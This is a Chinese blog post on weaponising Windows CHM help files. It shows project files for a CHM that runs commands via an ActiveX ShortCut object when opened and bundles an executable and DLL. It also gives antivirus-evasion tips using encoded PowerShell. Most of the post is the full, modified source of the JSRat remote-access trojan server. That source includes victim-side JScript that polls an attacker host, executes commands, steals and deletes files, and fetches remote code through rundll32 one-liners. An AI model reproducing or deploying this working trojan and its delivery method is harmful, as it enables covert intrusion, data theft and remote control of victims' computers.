CHM攻击总结

  1. CHM攻击总结
  2. 手动制作CHM文件
    1. 定义HTML help project (.hhp)配置文件
    2. 编写html源码文件
    3. 定义hhk文件
    4. 定义hhc文件
    5. 编译
  3. 工具制作木马
  4. 代码

CHM攻击总结

“Compiled Help (or HTML) Manual”简称chm,即“已编译的帮助文件”,是由微软开发文档格式,可以被认为是一种类似于RAR等压缩打包的文件格式(可以使用7z等压缩软件直接打开), 可以包含html、图片、脚本语言以及其他文件。

当攻击者恶意利用此文件时,通常会在CHM文件内包含恶意脚本和文件,用户打开chm时便会触发恶意代码执行。著名恶意渗透框架如nishang等都支持生成CHM的恶意恶意利用。本文介绍了如何手动制作CHM,并梳理了常见的攻击利用方式。

手动制作CHM文件

chm文件由一系列html文件编译在一起,形成帮助文档,主要依靠一些配置文件来组织CHM的文件结构。

定义HTML help project (.hhp)配置文件

hhp文件是在编译时用到的主要文件。其中定义了主页、chm文件名、标题,以及包含的文件等一系列信息。

[OPTIONS] 
Compatibility=1.1 or later
Compiled file=PocCalc.chm                 // 指定生成的CHM文件名
Contents file=Table of Contents.hhc       // 指定hhc文件
Index file=Index.hhk                      // 指定hhk文件
Default topic=poc.html                    // 指定首页的html文件名
Title=PocCalc                             // 标题
Display compile progress=No
Language=0x410 Italian (Italy)
Full-text search=Yes                

[FILES] 
poc.html                                  // 需要编译打包进CHM的文件
GoogleUpdate.exe 
goopdate.dll

[INFOTYPES]

编写html源码文件

HTML格式源码文件用来存储CHM当中的文本内容,管理组织图片, 按钮,快捷方式等呈现方式。当被攻击者利用时,常常会通过ShortCut的方式添加恶意命令,在Item1的Value中指定需要运行的进程和参数。

下面是一个通过cmd启动计算器的示例

<!DOCTYPE html>
<html>
<head><title>calc poc</title><head></head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',cmd /c, Calc'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

定义hhk文件

hhk文件是html格式的文件,用于保存CHM中关键字索引目录的内容, 在<BODY>标签中以列举所有需要嵌入到chm文件中的附件文件对象,对象包含对象名Name和编译对象所在路径Local两个参数,设置的对象会在编译的时候编译到chm文件中。

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<HTML> 
   <HEAD> 
   <meta name="GENERATOR" content="Microsoft® HTML Help Workshop 4.1">
   <!-- Sitemap 1.0 --> 
   </HEAD>
   <BODY> 
   <UL> 
   <LI><OBJECT type="text/sitemap">
       <param name="Name" value="GoogleUpdate">
       <param name="Local" value="GoogleUpdate.exe">
       </OBJECT> 
   <LI><OBJECT type="text/sitemap">
       <param name="Name" value="goopdate">
       <param name="Local" value="goopdate.dll">
       </OBJECT>
   </UL>
   </BODY>
</HTML>

定义hhc文件

hhc文件也是html格式的文件,在hhc文件中,用

  • 两个标签定义了带有层级关系中列表,并在其中以<OBJECT>的形式嵌入了html页面对象。利用列表的层级关系,构造了最终chm文件的层级关系。

第一个sitemap对象中包含的html文件将作为首页展示,其中的恶意代码将自动加载执行。

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN"> 
<HTML> 
    <HEAD> 
        <meta name="GENERATOR" content="Microsoft® HTML Help Workshop 4.1"> 
        <!-- Sitemap 1.0 --> 
    </HEAD> 
    <BODY> 
        <OBJECT type="text/site properties">
            <param name="ImageType" value="Folder">
        </OBJECT> 
        <UL>
            <LI> <OBJECT type="text/sitemap">
                <param name="Name" value="Notice">
                <param name="Local" value="poc.html">
                <param name="ImageNumber" value="1">
                </OBJECT>
         </UL>
     </BODY>
</HTML>

编译

最后我们就可以使用hhc.exe将以上文件编译打包成.chm文档。

命令格式:hhc.exe <hhp文件路径>

工具制作木马

python MyJSRat.py -i 192.168.100.1 -p 8082 -c ""

Ridter/MyJSRat: This is JSRat.ps1 in Python (github.com)

这个是原工具地址,但是由于一直报错,我不得已改了一些里面的代码,改了一万年o(╥﹏╥)o(代码我就放最后把,太占空间了),工具只修复了命令执行功能,交互功能没弄好,有能力的大佬可以自己看看。

c参数里面用命令就可以了,最后把生成的payload放到chm里面就可以

powershell -ep bypass -encbase64加载,这样可以过windows自身的防御,火绒也可过,但是360不行,云沙箱也报毒。

代码

#!/usr/bin/env python
#
# JSRat Server
# By: Evi1cg
#
import optparse, os, socket, SocketServer, sys , re
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from classes.colors import *
import requests # Used for --find-ip option, otherwise not needed
global command
command = 'ver'
try:
  import readline
except:
  error("No Python Readline")
  pad(); bad("No history support as a result, sorry...")


def banner():
  cls()
  print red("\nJSRat Server")



def cls():
  if os.name == 'nt' or sys.platform.startswith('win'):
    os.system('cls')
  else:
    os.system('clear')


def internal_ip():
  'Check Internal IP' # Google IP address used...
  try:
    iip = [(s.connect(('8.8.8.8', 80)), s.getsockname()[0], s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]
  except:
    error("Problem resolving internal IP!")
    return "Problem resolving internal IP!"
  return iip


def external_ip():
  'Check External IP using ip.chinaz.com'
  url = 'http://ip.chinaz.com/getip.aspx' # Simple External IP Check using dyndns...
  try:
    headers = { 'User-agent' : 'Python External IP Checker' } 
    res = requests.get( url, headers=headers, timeout=30.0 )
    body = res.text
    extip= re.search(r"ip\:'(.*?)'\,addre", body)
  except:
    error("Problem resolving extrernal IP!")
    return "Problem resolving extrernal IP!"
  return "wang zhi gua le ,wo zhao le ban tian baocuo"


def jsrat():
  """
      Build & Return the core JS code to operate JSRat on victim
      Essentially serve up additional JS to be evaluated by client based on need
  """
  jsrat_code = """
            while(true) {
                h = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
                h.SetTimeouts(0, 0, 0, 0);
                            try {
                    h.Open("GET","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
                    h.Send();
                    c = h.ResponseText;
                                    if(c=="delete") {
                                        p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
                                        p.SetTimeouts(0, 0, 0, 0);
                            p.Open("POST","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
                            p.Send("[Next Input should be the File to Delete]");
                                        g = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
                                        g.SetTimeouts(0, 0, 0, 0);
                                        g.Open("GET","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
                            g.Send();
                            d = g.ResponseText;
                                        fso1=new ActiveXObject("Scripting.FileSystemObject");
                                        f =fso1.GetFile(d);
                                        f.Delete();
                                        p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
                                        p.SetTimeouts(0, 0, 0, 0);
                            p.Open("POST","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
                            p.Send("[Delete Success]\\n");
                                        continue;
                                    } else if(c=="download") {
                                        p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
                                        p.SetTimeouts(0, 0, 0, 0);
                            p.Open("POST","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
                            p.Send("[Next Input should be the File to download]");
                                        g = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
                                        g.SetTimeouts(0, 0, 0, 0);
                                        g.Open("GET","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
                            g.Send();
                            d = g.ResponseText;
                                        fso1=new ActiveXObject("Scripting.FileSystemObject");
                                        f=fso1.OpenTextFile(d,1);
                                        g=f.ReadAll();
                                        f.Close();
                                        p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
                                        p.SetTimeouts(0, 0, 0, 0);
                            p.Open("POST","http://"""+bind_ip+":"+str(listener_port)+"""/download",false);
                            p.Send(g);
                                        continue;
                                  } else if(c=="read") {
                                        p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
                                        p.SetTimeouts(0, 0, 0, 0);
                            p.Open("POST","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
                            p.Send("[Next Input should be the File to Read]");
                                        g = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
                                        g.SetTimeouts(0, 0, 0, 0);
                                        g.Open("GET","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
                            g.Send();
                            d = g.ResponseText;
                                        fso1=new ActiveXObject("Scripting.FileSystemObject");
                                        f=fso1.OpenTextFile(d,1);
                                        g=f.ReadAll();
                                        f.Close();
                                        p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
                                        p.SetTimeouts(0, 0, 0, 0);
                            p.Open("POST","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
                            p.Send(g + "\\n");
                                        continue;
                                    } else if(c=="run") {
                                        p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
                                        p.SetTimeouts(0, 0, 0, 0);
                            p.Open("POST","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
                            p.Send("[Next Input should be the File to Run]");
                                        g = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
                                        g.SetTimeouts(0, 0, 0, 0);
                                        g.Open("GET","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
                            g.Send();
                            d = g.ResponseText;
                                        r = new ActiveXObject("WScript.Shell").Run(d,0,true);
                                        p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
                                        p.SetTimeouts(0, 0, 0, 0);
                            p.Open("POST","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
                                        p.Send("[Run Success]\\n");
                                        continue;      
                                    }else if(c=="upload") {
                                        p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
                                     p.SetTimeouts(0, 0, 0, 0);
                            p.Open("POST","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
                            p.Send("[Start to Upload]");
                                        g = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
                                        g.SetTimeouts(0, 0, 0, 0);
                                        g.Open("GET","http://"""+bind_ip+":"+str(listener_port)+"""/uploadpath",false);
                            g.Send();
                            dpath = g.ResponseText;
                                        g2 = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
                                        g2.SetTimeouts(0, 0, 0, 0);
                                        g2.Open("GET","http://"""+bind_ip+":"+str(listener_port)+"""/uploaddata",false);
                            g2.Send();
                            ddata = g2.ResponseText;
                                        fso1=new ActiveXObject("Scripting.FileSystemObject");
                                        f=fso1.CreateTextFile(dpath,true);
                                        f.WriteLine(ddata);
                                        f.Close();
                                        p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
                                        p.SetTimeouts(0, 0, 0, 0);
                            p.Open("POST","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
                            p.Send("[Upload Success]\\n");
                                        continue;
                                    } else {
                                        r = new ActiveXObject("WScript.Shell").Exec(c);
                            var so;
                            while(!r.StdOut.AtEndOfStream){so=r.StdOut.ReadAll()}
                        p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
                            p.Open("POST","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
                                p.Send(so + "\\n");
                                    }
                            } catch(e1) {
                                    p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
                                    p.SetTimeouts(0, 0, 0, 0);
                    p.Open("POST","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
                                    p.Send("[ERROR - No Output]\\n");
                }
            }
        """
  return jsrat_code

def jsratCMD():
  """
      Build & Return the core JS code to operate JSRat on victim
      Essentially serve up additional JS to be evaluated by client based on need
  """
  jsrat_codeCMD = """
                h = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
                h.SetTimeouts(0, 0, 0, 0);
                            try {
                            h.Open("GET","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
                            h.Send();
                            c = h.ResponseText;
                            r = new ActiveXObject("WScript.Shell").Run(c,0,true);
                            } catch(e1) {
                                    p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
                                    p.SetTimeouts(0, 0, 0, 0);
                    p.Open("POST","http://"""+bind_ip+":"+str(listener_port)+"""/rat",false);
                                    p.Send("[Some thing wrong !! ]\\n");
                }
        """
  return jsrat_codeCMD

def print_jsrat_help():
  """
      Displays JSRat options for Server operator to interact w/Client||Victim
  """
  print white(underline("JSRat Usage Options:"))
  print str(green("CMD")) + str(white("=>")) + str(green("Executes Provided Command"))
  print str(green("run")) + str(white("=>")) + str(green("Run EXE or Script"))
  print str(green("read")) + str(white("=>")) + str(green("Read File"))
  print str(green("upload")) + str(white("=>")) + str(green("Upload File"))
  print str(green("download")) + str(white("=>")) + str(green("Download File"))
  print str(green("delete")) + str(white("=>")) + str(green("Delete File"))
  print str(green("help")) + str(white("=>")) + str(green("Help Menu"))
  print str(green("exit")) + str(white("=>")) + str(green("Exit Shell"))


def get_user_input():
  while True:
    usr_input = raw_input(str(red("$"))+str(white("("))+str(blue("JSRat"))+str(white(")"))+str(red(">"))+str(white(" ")))
    if usr_input.strip() != "":
      break
    else:
      print
  return usr_input.strip()


class myHandler(BaseHTTPRequestHandler):
  """
      Custom handler so we can control how different web requests are processed
      Crude setup I threw together, but it works so get over it...
  """
  js_load_path = '/connect' # Base URL path to initialize things (value is overridden at server start)
  upload_path = "" # static so we can set/get as needed, since this isnt powershell...
  time_to_stop = False

  def log_message(self, format, *args):
    """ Custom Log Handler to Spit out on to stderr """
    return

  def do_GET(self):
    """
        Handle any GET requests coming into our server
    """
    content_type = "text/plain"
    response_message = jsrat()
    if self.js_load_path == self.path:
      good("Incoming JSRat Client: %s" % str(self.client_address[0]))
      if 'user-agent' in self.headers.keys() and self.headers['user-agent'].strip() != "":
          good("User-Agent: %s" % self.headers['User-Agent'])
      print_jsrat_help()

    elif "/rat" == self.path:
      # Get input from server operator on what to do next...
      response_message = get_user_input()
      if response_message.strip().lower() == "help":
        print_jsrat_help()
        while True:
          response_message = get_user_input()
          if response_message.strip().lower() != "help":
            break
          else:
            print
      elif response_message.strip().lower() == "exit":
        print; caution("OK, sending kill command to Client...")
        response_message = "cmd /c taskkill /f /im rundll32.exe"
        caution("Hit CTRL+C to kill server....")

    elif "/uploadpath" == self.path:
      lpath = raw_input(str(red("$"))+str(white("("))+str(blue("Enter Full Path for Local File to Upload"))+str(white(")"))+str(red(">"))+str(white(" ")))
      myHandler.upload_path = lpath
      caution("Setting local upload path to: %s" % myHandler.upload_path)
      destination_path = raw_input(str(red("$"))+str(white("("))+str(blue("Enter Remote Path to Write Uploaded Content"))+str(white(")"))+str(red(">"))+str(white(" ")))
      response_message = destination_path.strip()

    elif "/uploaddata" == self.path:
      response_message = open(myHandler.upload_path, 'rb+').read()
      myHandler.upload_path = ""

    elif "/hook" == self.path:
      good("Hooking Client: %s" % str(self.client_address[0]))
      content_type = "text/html"
      response_message = jsrat()
      response_message = """<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
  <head>
   <title> new document </title>
   <meta name="generator" content="editplus">
   <meta name="author" content="">
   <meta name="keywords" content="">
   <meta name="description" content="">
  </head>
  <body>
   <script language="javascript" type="text/javascript">
      h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
      h.Open("GET","http://"""+bind_ip+":"+str(listener_port)+srv_url+"""",false);
      h.Send();
      B=h.ResponseText;
      eval(B);
    </script>
  </body>
</html>"""

    elif "/wtf" == self.path:
      good("Client Command Query from: %s" % str(self.client_address[0]))
      response_message = """
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://"""+bind_ip+":"+str(listener_port)+srv_url+"""",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}"""
      print cyan(response_message + "\n")

    # Send the built response back to client
    self.send_response(200)
    self.send_header('Content-type',content_type)
    self.end_headers()
    self.wfile.write(response_message)


  def do_POST(self):
    """
        Handle any POST requests coming into our server
    """
    if "/rat" == self.path:
      content_len = int(self.headers.getheader('content-length', 0))
      post_body = self.rfile.read(content_len)
      print cyan(post_body)
      if post_body == "[No Output]":
        print
      self.send_response(200)
      self.send_header('Content-type','text/plain')
      self.end_headers()

    elif "/download" == self.path:
      content_len = int(self.headers.getheader('content-length', 0))
      post_body = self.rfile.read(content_len)
      fname = raw_input(str(red("$"))+str(white("("))+str(blue("Enter Filename to Save in ./loot/"))+str(white(")"))+str(red(">"))+str(white(" ")))
      try:
        loot_file = outdir.strip()+fname.strip()
        fh = open(loot_file, 'wb+')
        fh.write(post_body)
        fh.close()
        pad(); good("Successfully Saved To: %s\n" % loot_file.replace(home, "./"))
      except Exception, e:
        error("Problem saving content to:")
        pad(); bad("%s" % loot_file.replace(home, "./"))
        pad(); pad(); bad(str(e))
      self.send_response(200)
      self.send_header('Content-type','text/plain')
      self.end_headers()
    else:
      caution("%s - Snooper detected..." % str(self.client_address[0]))
      pad(); caution("=> %s" % self.path)
      self.send_error(404)

class SendCMDHandler(BaseHTTPRequestHandler):
  """
      Send command handler so we can auto send command to clinets...
  """
  js_load_path = '/connect' # Base URL path to initialize things (value is overridden at server start)
  upload_path = "" # static so we can set/get as needed, since this isnt powershell...
  time_to_stop = False

  def log_message(self, format, *args):
    """ Custom Log Handler to Spit out on to stderr """
    return

  def do_GET(self):
    """
        Handle any GET requests coming into our server
    """
    content_type = "text/plain"
    response_message = jsratCMD()
    if self.js_load_path == self.path:
      good("Incoming JSRat Client: %s" % str(self.client_address[0]))
      if 'user-agent' in self.headers.keys() and self.headers['user-agent'].strip() != "":
          good("User-Agent: %s" % self.headers['User-Agent'])

    elif "/rat" == self.path:
      #Send command
      response_message = "cmd.exe /c "+command+" && taskkill /f /im rundll32.exe"
      good("OK, Success Send command to Client...")
      caution("Hit CTRL+C to kill server....")

    elif "/hook" == self.path:
      good("Hooking Client: %s" % str(self.client_address[0]))
      content_type = "text/html"
      response_message = jsrat()
      response_message = """<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
  <head>
   <title> new document </title>
   <meta name="generator" content="editplus">
   <meta name="author" content="">
   <meta name="keywords" content="">
   <meta name="description" content="">
  </head>
  <body>
   <script language="javascript" type="text/javascript">
      h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
      h.Open("GET","http://"""+bind_ip+":"+str(listener_port)+srv_url+"""",false);
      h.Send();
      B=h.ResponseText;
      eval(B);
    </script>
  </body>
</html>"""

    elif "/wtf" == self.path:
      good("Client Command Query from: %s" % str(self.client_address[0]))
      response_message = """
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://"""+bind_ip+":"+str(listener_port)+srv_url+"""",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}"""
      print cyan(response_message + "\n")

    # Send the built response back to client
    self.send_response(200)
    self.send_header('Content-type',content_type)
    self.end_headers()
    self.wfile.write(response_message)


  def do_POST(self):
    """
        Handle any POST requests coming into our server
    """
    if "/rat" == self.path:
      content_len = int(self.headers.getheader('content-length', 0))
      post_body = self.rfile.read(content_len)
      print cyan(post_body)
      if post_body == "[No Output]":
        print
      self.send_response(200)
      self.send_header('Content-type','text/plain')
      self.end_headers()


def main():
  """ 
      Establish our base web server and initiate the event loop to drive things

      1 - Overrides custom handler path for URL to initiate things
      2 - Binds socket to ip and port, and then maps to our custom handler
      3 - Starts endless event loop & pass off for myHandler to handle requests
  """
  try:
    print
    global httpd
    if options.cmd in args:
        SendCMDHandler.js_load_path = srv_url
        httpd = SocketServer.TCPServer((bind_ip, listener_port),SendCMDHandler)
    else:
        myHandler.js_load_path = srv_url
        httpd = SocketServer.TCPServer((bind_ip, listener_port), myHandler)
    status("Web Server Started on Port: %d" % listener_port)
    status("Awaiting Client Connection to: http://%s:%s%s" % (bind_ip, listener_port, srv_url))
    status("Client Command at: http://%s:%s/wtf" % (bind_ip, listener_port))
    status("Browser Hook Set at: http://%s:%s/hook\n" % (bind_ip, listener_port))
    caution("Hit CTRL+C to Stop the Server at any time...\n")
    httpd.serve_forever()
  except socket.error, e:
    error('Try again in 30 seconds or so...')
    pad()  
    bad('Socket Error:\n\t%s\n' % e)
  except KeyboardInterrupt:
    print ''
    error("CTRL+C Interupt Detected!")
    bad("Shutting Down Web Server...\n")
    httpd.shutdown



# Parse Arguments/Options
parser = optparse.OptionParser(banner(), version="%prog v0.01")
parser.add_option("-i", "--ip", dest="ip", default=None, type="string", help="IP to Bind Server to (i.e. 192.168.0.69)")
parser.add_option("-p", "--port", dest="port", default=None, type="int", help="Port to Run Server on")
parser.add_option("-u", "--url", dest="url", default="/connect", type="string", help="URL to Initiate Client Connection (default: /connect)")
parser.add_option("-f", "--find-ip", action="count", default=0, dest="fip", help="Display Current Internal and External IP Addresses")
parser.add_option("-c", "--command", default="whoami", type="string", dest="cmd", help="auto Send command to client (No interaction)")
parser.add_option("-v", action="count", default=0, dest="verbose", help="Enable Verbose Output")
(options, args) = parser.parse_args()

# Make sure we got necessary arguments
args = sys.argv[1:]
if not args:
  print ""
  parser.print_help()
  print
  sys.exit()

if options.fip:
  print red("[Checking IP....]")
  good("Internal IP: %s" % internal_ip())
  good("External IP: %s\n\n" % external_ip())
  sys.exit()

# Establish IP to bind our web server to (i.e. 127.0.0.1||192.168.0.69||10.10.10.10)
if args and options.ip == None:
  print ' '
  error("Missing Argument: --ip IP")
  error("You need to provide the IP to bind server to!\n")
  parser.print_help()
  print
  sys.exit()
else:
  bind_ip = options.ip

# Establish listner port for our web server (privs needed for low ports < 1024)
if args and options.port == None:
  print ' '
  error("Missing Argument: --port PORTNUMBER")
  error("You need to provide the port to listen on!\n")
  parser.print_help()
  print
  sys.exit()
else:
  listener_port = options.port
  if options.cmd not in args:
      status("Using interactive method! ")

if options.cmd in args:
  command = options.cmd
  status("Using Command Send method! ")
  

# Establish system based file seperator
if os.name == 'nt' or sys.platform.startswith('win'):
  delimiter = "\\"
else:
  delimiter = "/"

srv_url    = options.url     # The URL path to start client initiation on
verbose    = options.verbose # Enable verbose output for debugging purposes
home       = os.path.dirname(os.path.abspath(__file__)) + delimiter # Home dir
outdir     = home + "loot" + delimiter  # Output directory to save content
if not os.path.isfile(outdir) and not os.path.isdir(outdir):
  os.mkdir(outdir)          # Create output directory if it doesn't exist


# Time for the magic show
if __name__ == "__main__":
  try:
    main()

  except KeyboardInterrupt:
    print "\n"
    print str(red("[")) + str(white("WARNING")) + str(red("]")) + str(white(" CTRL+C, closing session...\n\n"))
    sys.exit()

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。